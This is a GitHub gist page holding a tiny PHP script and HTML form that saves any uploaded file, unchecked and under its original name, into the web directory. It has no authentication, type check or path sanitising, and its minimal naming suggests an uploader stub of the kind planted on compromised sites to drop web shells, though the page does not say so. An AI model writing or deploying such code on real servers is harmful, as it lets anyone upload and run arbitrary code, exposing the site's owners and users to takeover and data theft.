Created
September 25, 2016 12:24
-
-
Save ngocbd/4819ec62dc7afca1a644e8d3d5edeb21 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$target_path = ""; | |
$target_path = $target_path . basename( $_FILES['f']['name']); | |
if(move_uploaded_file($_FILES['f']['tmp_name'], $target_path)) { | |
echo "The file ". basename( $_FILES['f']['name']). | |
" has been uploaded"; | |
} else{ | |
echo "There was an error uploading the file, please try again!"; | |
} | |
?> | |
<form enctype="multipart/form-data" action="" method="POST"> | |
<input name="f" type="file" /> | |
<input type="submit" value="S" /> | |
</form> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment